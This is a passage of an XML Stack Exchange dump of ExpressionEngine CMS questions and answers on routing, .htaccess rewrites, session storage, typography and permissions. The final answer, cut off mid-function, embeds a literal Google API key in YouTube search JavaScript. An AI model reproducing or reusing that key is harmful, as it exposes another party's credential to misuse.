filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running certain web servers other than Apache they may be applying security filtering to your form submission. You would need to refer to the server's manual to see how to fix the issue in this case.&lt;/p&gt;&#xA;" OwnerUserId="131" LastActivityDate="2015-05-06T21:56:53.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31343" PostTypeId="2" ParentId="31337" CreationDate="2015-05-07T01:29:33.030" Score="0" Body="&lt;p&gt;I use republic variable for that. I dont have 7 languages but i think i can work for you. I'm out of the country for now but as i remember, my index.php redirect to language folder (based on browser's language ) on my root. (fr, en etc..)  i will post my exact set-up next week. I have a post about that on stack exchange. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2015-05-07T01:29:33.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31344" PostTypeId="1" CreationDate="2015-05-07T05:00:04.737" Score="1" ViewCount="1164" Body="&lt;p&gt;Hi I am fairly new to ExpressionEngine, but I am having an issue navigating from the Index Page. When ever I click on a link to view an entry it always gives me a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it might be a configuration issue related to routing, but I am unsure. The message I get is as follows&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The requested URL /~Streel/EE_Site/Shop/Test was not found on this&#xA;  server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To my understand that structure is essentially the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/~UserAccount/Website/Channel/Entry&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is that correct? Also what information do I need to supply to help debug this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1: Included Index Page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what I am having the issue with, this is pretty much from the EE Tutorial &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Goal is to show all Shops and link directly to each shop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;    &amp;lt;p&amp;gt;This is my test platform to see how formating works&amp;lt;/p&amp;gt;&#xA;    &amp;lt;br/&amp;gt;&#xA;    {exp:channel:entries channel='shop'}&#xA;     &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{url_title_path='shop'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;p&amp;gt;{brewery_description}&amp;lt;/p&amp;gt;&#xA;      {/exp:channel:entries}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2: More examples&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I navigate to a non-home page TemplateGroup or Template, I get 404; (Each Template has a Hello World content in the web page)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;/~Streel/EE_Site/Locations/new -&gt; 404 Response&lt;/li&gt;&#xA;&lt;li&gt;/~Streel/EE_Site/Locations -&gt; 404 Response&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3: Found a way to navigate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;including index.php works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/~Streel/EE_Site/index.php/TemplateGroup/TemplateName works!&lt;/p&gt;&#xA;" OwnerDisplayName="user6277" LastEditorUserId="1100" LastEditDate="2015-05-07T19:49:45.443" LastActivityDate="2018-05-03T21:31:37.447" Title="URL and Routing Issues, anything other than index gives 404" Tags="|channel-entries|templates|routing|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31345" PostTypeId="1" AcceptedAnswerId="31349" CreationDate="2015-05-07T06:19:06.773" Score="1" ViewCount="394" Body="&lt;p&gt;I'm new in Expression Engine, but have a good knowledge of codeigniter framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Idea is to store custom value in user session: geolocation data (City name) and put this value to input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote some javascript code, but it fires every time, when user loading page. I want to do it once and then retrieve location from user session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that I need modify EE core modules.&#xA;Is there any standart EE module, which handle user session globally at whole site?&lt;/p&gt;&#xA;" OwnerUserId="6286" LastActivityDate="2015-05-07T10:58:22.817" Title="Custom data in user sesstion" Tags="|ee2|plugin|sessions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31346" PostTypeId="2" ParentId="31345" CreationDate="2015-05-07T06:54:48.830" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/remember-me&quot; rel=&quot;nofollow&quot;&gt;Remember Me&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Save entries for a user during a session. This could be used for a&#xA;  'add to cart' function or for a 'product compare' function (save&#xA;  entry_id's for later use). Entries are only stored during a session.&#xA;  As of version 1.0 you can also save the session storage to the&#xA;  database on a per member basis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.putyourlightson.net/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;Session Variables Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sometimes you may want to temporarily store a variable for a short&#xA;  amount of time without writing a value to the database.&#xA;  ExpressionEngine's sessions do not allow this, however PHP's native&#xA;  sessions do.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;You can setup cookies with data using JS and then get this information using &lt;a href=&quot;https://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Add more early-parsed, global variables to your EE installation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6285" LastEditorUserId="6285" LastEditDate="2015-05-07T07:15:19.533" LastActivityDate="2015-05-07T07:15:19.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31347" PostTypeId="2" ParentId="31344" CreationDate="2015-05-07T08:43:05.630" Score="0" Body="&lt;p&gt;Thanks for the feedback, let me break this down somewhat. Firstly we have the server aspect of the URL you're using, namely &lt;code&gt;/~Streel/EE_Site&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This part of your URL is clearly routing to a folder in your home directory, if this part is not working this is a server configuration issue and is technichally out of scope of this StackExchange (but we'll help where we can!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next part will be the EE Path, here &lt;code&gt;Shop/Test&lt;/code&gt; are broken down into 2 segments, as per the EE docs, without any special routes ( Docs : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; ) these segments map to &lt;code&gt;Template Group / Template Name&lt;/code&gt;. This isn't what you're after though! What you want is &lt;code&gt;Channel/entry_url_title&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : You may wish to check out how EE uses &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;Dynamic Parameters&lt;/a&gt; as well, might get you there quicker! however for completeness...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : from here on in I'm assuming your E version is &gt; 2.9.3 so you have template routes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problem though, with the EE router we can set up a route on a template to handle this. For example lets set up a template in the Group called &lt;code&gt;Site&lt;/code&gt; and a template called &lt;code&gt;EntryDisplay&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now lets edit the template and set the route. Here we go to the bottom, open up the &quot;Access&quot; section and in the &quot;Template Route&quot; field enter : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{desired_channel:alpha_dash}/{desired_entry:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, Make sure 'Require All Segments' is set to 'Yes'. What we've done here is say if we have 2 segments (Shop and Test) and both are alpha_dash valid, use this template. Of course tyou'll have to review the routing table in &lt;code&gt;Design -&amp;gt; Templates -&amp;gt; Template Route Manager&lt;/code&gt; to ensure this route is the last on in the list, or it'll try to handle all your 2 segment URLS!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the template itself, on the template your segment/route variables are turned into standard EE variables ( so &lt;code&gt;{segment:desired_channel}&lt;/code&gt; &amp;amp; &lt;code&gt;{segment:desired_entry}&lt;/code&gt;), we can feed these into the good old EE Channel Entries tag as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment:desired_channel}&quot; url_title=&quot;{segment:desired_entry}&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {!-- here we send to 404 land if there's no entry for the URL supplied! --}&#xA;  {if no_results} {redirect=&quot;404&quot;} {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer to Edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the further info, just looking at the code (I have a sandbox test set up) I can see 2 things that might be going wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is if you aren't getting your template displayed at &lt;code&gt;/shop/&lt;/code&gt;, if the template group this is in is not called Shop this will never work, however you can re-use what we learned about routing above, simply set your template route to &lt;code&gt;Shop&lt;/code&gt; and thats it! You should get your template appearing at &lt;code&gt;/~Streel/EE_Site/Shop&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second is potentually the output of &lt;code&gt;url_title_path&lt;/code&gt; is not correct. Really I'd need to see the output however I spunthis up on my local and essentually what it does is output {base_url} / {param1(shop)} / {url_title}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore if the path before /shop/ is incorrect, please review your &lt;code&gt;URL to the root directory of your site&lt;/code&gt; setting in &lt;code&gt;Admin -&amp;gt;General Configuration&lt;/code&gt;, this should be 'localhost/~Streel/EE_Site'. If its the following parts, perhaps you can let us know the template group, template name and router setting so we can diagnose further...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following investigation it appears the probelm was in fact using friendly URL's without having them set up. It seems the templates work fine when CStreel uses non freindly URL's i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/~Streel/EE_Site/index.php/Shop/test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For info on setting up Freindly URL's, we refer again tothe EE docs : &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my working example, it uses a whitelist principle so for any paths you wish to exclude from the friendly URL handling (apart from files and directories see inline comments) add them to the final 2 RewriteCond's : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Enable Rewrite Engine&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    #Exclude file paths&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    #Exclude directory paths&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    #Cant rcall what this excludes, Pagination maybe?? &#xA;    RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5}|/)$&#xA;    #Specific files to exclude&#xA;    RewriteCond $1 !^(favicon\.ico|index\.php|path\.php|php\.ini|admin\.php) [NC]&#xA;    #Specific directories to exclude (bpath begins with)&#xA;    RewriteCond $1 !^(system|sysbase|images|themescss|assets)/ [NC]&#xA;&#xA;    #If the current request is not excluded, insert the index.php&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, in order for EE to produce friendly url's from your tags, make sure to goto &lt;code&gt;Admin -&amp;gt; General Preferences&lt;/code&gt; and set &lt;code&gt;Name of your site's index page&lt;/code&gt; to '' (blank)&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-07T14:00:02.447" LastActivityDate="2015-05-07T14:00:02.447" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31348" PostTypeId="2" ParentId="26075" CreationDate="2015-05-07T09:39:09.783" Score="0" Body="&lt;p&gt;As Steven vsaid, the Typography library in CodeIgnitor is whats transforming it to a curly quote. See the file &lt;code&gt;/system/codeigniter/system/libraries/Typography.php&lt;/code&gt;, line 270 of the function &lt;code&gt;format_characters&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 3 options : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Just enter the quote encoded in your title&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Simple really, instead of typing &lt;code&gt;John's Test Entry&lt;/code&gt; type &lt;code&gt;John&amp;amp;#39;s Test Entry&lt;/code&gt;, this works a treat if you can manage having pre-encoded characters in your titles, when they are displayed in the CP they are displayed correctly anyway, its just editing the entry.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Use a string replace plugin or PHP on template to transform it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can use a plug in like &lt;a href=&quot;https://devot-ee.com/add-ons/string-replace-exp&quot; rel=&quot;nofollow&quot;&gt;String Replace Exp&lt;/a&gt;, note that this will transform all right curly quotes, so if you are using legit opening closing single quotes you'll ruin these!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:strrexp pattern=&quot;&amp;amp;#8217;&quot; replace=&quot;&amp;amp;#39;&quot; string=&quot;{title}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or turn PHP on (set to Output) and use (&lt;code&gt;str_replace&lt;/code&gt;)[&lt;a href=&quot;http://php.net/str_replace]&quot; rel=&quot;nofollow&quot;&gt;http://php.net/str_replace]&lt;/a&gt; itself like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo str_replace(&quot;&amp;amp;#8217;&quot;,&quot;&amp;amp;#39;&quot;,&quot;{title}&quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Hack the Core &lt;sup&gt;&lt;strong&gt;not recommended&lt;/strong&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If your confident enougth go to work in the &lt;code&gt;Typography.php&lt;/code&gt; file to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit : And finally...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a rare expidition into accuracy, to answer the &lt;em&gt;exact&lt;/em&gt; OP question... To &lt;strong&gt;disable&lt;/strong&gt; the functionality (for titles only) you will need to &lt;strong&gt;hack the core [NOT RECOMMENDED]&lt;/strong&gt;. To do this you'll need to open up &lt;code&gt;/system/expressionengine/modules/channel/mod.channel.php&lt;/code&gt; goto line 4551 and patch as so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-   $title = ee()-&amp;gt;typography-&amp;gt;format_characters($query-&amp;gt;row('title'));&#xA;+   $title = $query-&amp;gt;row('title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please be sure to add some other validation code though! although this is done at the display stage we still don't want anyone smuggling some unsafe text through via the Entry title!!!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-07T11:57:56.563" LastActivityDate="2015-05-07T11:57:56.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31349" PostTypeId="2" ParentId="31345" CreationDate="2015-05-07T10:58:22.817" Score="0" Body="&lt;p&gt;Thanks for the question feeedback, I beleive you have 2 options here, it's up to you which you feel is more graceful! &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Utilise the Server side PHP/EE Session&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For this solution, you'll need a special template that you'll call via AJAX, I normally use a template group called 'API', for example lets call the template 'location'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the template, we're going to create 2 modes, one that returns the saved field value and one that saves the field value. This is easy as what we can do is look for a post field and if present and correct set the sesion value, if there's no post then return the value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For seculrity I'd add a check to ensure the request is an AJAX request (you can google this). Now, this template is going to be a PHP template but there's no reason you can't use EE tags and the plugins Nicholas suggests, but for simplicity I'm going to stick with native PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's the process that I'd do : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create JS that 'fetches' the saved value, if it's blank (not set yet, new session ect) then create the JS that 'sends' the value. Your JS will query the location object and get the value you want to save, and then AJAX Post it to your template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the template, use PHP to get the submitted value, be sure to clean it, and save it to the session : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//check AJAX request here&#xA;&#xA;//are we getting or setting?&#xA;if ( empty ( $_POST ) ) {&#xA;    //assume this is the get, make more complex if you wish!&#xA;    if ( isset ( $_SESSION['savedvalue'] ) ) {&#xA;        echo json_encode(array(&#xA;            'savedvalue' =&amp;gt; $_SESSION['savedvalue']&#xA;        )); &#xA;    } else { &#xA;        echo json_encode(array(  &#xA;            'savedvalue' =&amp;gt; ''&#xA;        ));    &#xA;    }&#xA;} else {&#xA;    //were gonna set the value!! &#xA;    //use EE to fetch and clean the post&#xA;    $postedValue = ee()-&amp;gt;input-&amp;gt;post('valuename', true); &#xA;    //any extra validation here&#xA;    $_SESSION['savedvalue'] = $postedValue;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thats it, at least in principle, hopefully you get the idea of what I'm doing here and can run with it...&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Use a cookie on the client side&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;No need for a PHP template or anything fancy here, as we're not leaving the client side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we'll do is create similar JS to before but rather that making AJAX calls to the template (to push the value server side) we replace these calls with JS that sets the session cookie you want. You can use JS like this : &lt;a href=&quot;http://blog.lysender.com/2011/08/setting-session-only-cookie-via-javascript/&quot; rel=&quot;nofollow&quot;&gt;http://blog.lysender.com/2011/08/setting-session-only-cookie-via-javascript/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There ya go, you should be able to get either to work for you, the beauty is that the AJAX requests have the PHP SESSION ID in them or at least send it back with the response so you don't need to worry about linking a session to a user. One thing to think about though is the logic to update the saved value if it ever changes, after all I might load your page on my laptop, leave it open, hop in the car, goto work and change location!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop us a comment if you have further questions, OR vote up/answer anything that helped you get what you needed...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-07T10:58:22.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31350" PostTypeId="1" AcceptedAnswerId="31351" CreationDate="2015-05-07T11:31:55.010" Score="0" ViewCount="30" Body="&lt;p&gt;I'm updating an old EE1 site that used to use matrix with a file field for downloadable files and a text field for the optional download text. I've successfully migrated the content into a new EE2.10 build and now have a grid field with an assets file field and the text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, thinking about it, the grid is overkill because assets allows you to select multiple files, and the site admins were rarely completing the download text field in the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how complex is it for me to move away from an &lt;em&gt;assets field inside a grid&lt;/em&gt;, to a standalone assets field with multiple selections? I realise that a lot of this probably hinges on the exp_assets_selection table; could it be a case of updating the fieldtype to be assets (only) and some handy sql to &#xA;iterate through exp_grid_field_x and somehow populate the exp_assets_selection table with the data it needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any experience of doing this? Or is it a case of 'if it ain't broke...'? :)&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2015-05-07T11:38:30.150" Title="How complicated would it be to move from grid containing assets to a standalone assets?" Tags="|assets|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31351" PostTypeId="2" ParentId="31350" CreationDate="2015-05-07T11:38:30.150" Score="1" Body="&lt;p&gt;I'd recommend doing some trial and error on a copy, howeve your plan is almost right... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'r right in that you would have to disect how multiple selections are stored in &lt;code&gt;exp_assets_selection&lt;/code&gt; table, and iterate the grid table, making entries in this table as you go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're done ther you'll need to iterate your entries on the &lt;code&gt;exp_channel_data&lt;/code&gt; table, setting the asset's ID in the correct field_data column, then it should just work... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never done this myself, but the theory is sound... You could end up wih quite a lot of SQL mashing though, so if it's not cost effective to invest the time I'd go with &quot;Ain't Broke, Don't fix&quot;...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-07T11:38:30.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31352" PostTypeId="2" ParentId="31304" CreationDate="2015-05-07T12:37:22.083" Score="0" Body="&lt;p&gt;It seems &lt;code&gt;{if event_never_ends}&lt;/code&gt; doesn't parse in &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; but does in &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. Although it's not sure if this is a bug or a missing feature, we'll report this to our developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, a workaround could be to use an embed and pass the event_id in &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; into a template using &lt;code&gt;{exp:calendar:events}&lt;/code&gt;, in which you can use the &lt;code&gt;{if event_never_ends}&lt;/code&gt; conditional. Keep in mind that if there are many events, this would also mean many embeds, and therefore possible decreased performance. Caching might help in those cases.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-05-07T12:37:22.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31353" PostTypeId="1" AcceptedAnswerId="31362" CreationDate="2015-05-07T13:22:10.593" Score="1" ViewCount="89" Body="&lt;p&gt;I have an application being developed that will need some complex member permissions. There is one channel that has an ownership field with a text value that represent a particular department. There will be several hundred users in this system, and most of them should only be allowed to add and edit channel entries that belong to their department. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a simple custom member field is a quick solution, but the problem is that their will be multiple users who need multi-department access (but not full access to all records) as well as some admins who can see all. The template conditionals and all that are easy enough, but this renders using custom member fields useless, and having 3-400 hundred member groups and juggling their permissions means hundreds of conditionals and growing as the member groups grow... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know their is Zoo Visitor, but I don't know if that has the functionality I'm looking for. Basically I'd think I'd like something along the lines of &quot;permissions tags&quot; for members. Does anyone have this type of user-role control implemented and can suggest something? I've actually only been at EE for as long as I've been a member here (6-8 months), and haven't deployed a lot of popular addons. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-07T17:57:25.313" Title="Complex Member permissions" Tags="|members|permissions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31354" PostTypeId="1" CreationDate="2015-05-07T14:27:32.900" Score="1" ViewCount="75" Body="&lt;p&gt;I am looking to set up a site where certain channels can only have one entry per member, whether it be through expressionengine settings or through an add on. Does anyone has any experience of setting up anything similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6287" LastActivityDate="2016-06-15T12:05:15.250" Title="Single entry per member" Tags="|channel-entries|members|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31355" PostTypeId="1" CreationDate="2015-05-07T14:55:33.773" Score="1" ViewCount="54" Body="&lt;p&gt;Is there a way of accessing other sale information (other than the sale_price) in the template? I'd like to be able to display the sale name that the discount relates to...!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2016-06-17T14:39:51.167" Title="Store - accessing sale meta information in template" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31356" PostTypeId="2" ParentId="31354" CreationDate="2015-05-07T14:58:47.797" Score="0" Body="&lt;p&gt;You could do this with template tags, literally limiting access to channel entries they have authored to '1' - therefore they could only view/edit the same one entry? OR you could use something like zoo visitor, which stores member data as channel data, and then set up a single entry relationship between the member entry and their designated entry? But I think the first option would do it...&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2015-05-07T14:58:47.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31357" PostTypeId="2" ParentId="31335" CreationDate="2015-05-07T17:10:59.237" Score="0" Body="&lt;p&gt;We are aware of the issue and are working on updating the API. We will be releasing an update to the product.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-05-07T17:10:59.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31358" PostTypeId="1" CreationDate="2015-05-07T17:13:50.903" Score="0" ViewCount="156" Body="&lt;p&gt;Can't find anything that indicates this in docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2314" LastActivityDate="2015-07-06T18:57:32.340" Title="Is WYGWAM 3.3.3 Compatible with EE 2.10.1?" Tags="|wygwam|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31359" PostTypeId="2" ParentId="31358" CreationDate="2015-05-07T17:36:25.470" Score="1" Body="&lt;p&gt;Yes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwams requirements are on the &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/installation.html&quot; rel=&quot;nofollow&quot;&gt;Docs Installation page&lt;/a&gt; it just says EE 2.7 or better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwam 3.X is definatly compatible with EE 2.9.3 and 2.8.1, there have not been any changes to the plugin functionality within EE since 2.8.1 AFAIK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I note that the &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html&quot; rel=&quot;nofollow&quot;&gt;Wygwam changelog&lt;/a&gt; that patches have been added to support down stream technologies (EE &amp;lt; 2.5, PHP &amp;lt; 5.3), their support is done through this site (expect BrandonKelly to chime in soon!!) and I can't find any reports of incompatability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All indicators point to good support.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-07T17:36:25.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31360" PostTypeId="2" ParentId="31335" CreationDate="2015-05-07T17:43:43.170" Score="0" Body="&lt;p&gt;Not sure if this helps but things map pretty well to the new api. Here is the youtubeSearchVideos js function updated and working. I started working on this and thought I should share.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function youtubeSearchVideos(params, customField) {&#xA;    var i, entry, video_id;&#xA;    if (params.author) params.keywords += &quot; &quot; + params.author;&#xA;    $.ajax({&#xA;        crossDomain: true,&#xA;        dataType: &quot;json&quot;,&#xA;        url: &quot;https://www.googleapis.com/youtube/v3/search/&quot;,&#xA;        data: {&#xA;            part: &quot;snippet&quot;,&#xA;            type: &quot;videos&quot;,&#xA;            q: params.keywords,&#xA;            key: &quot;AIzaSyBpu8hgnXbkqFVWrAvwRUEz7T13ii3I7WM&quot;,&#xA;            maxResults: params.limit&#xA;        },&#xA;        success: function(rdata) {&#xA;            var Videos = [];&#xA;           /* if (typeof rdata.feed === 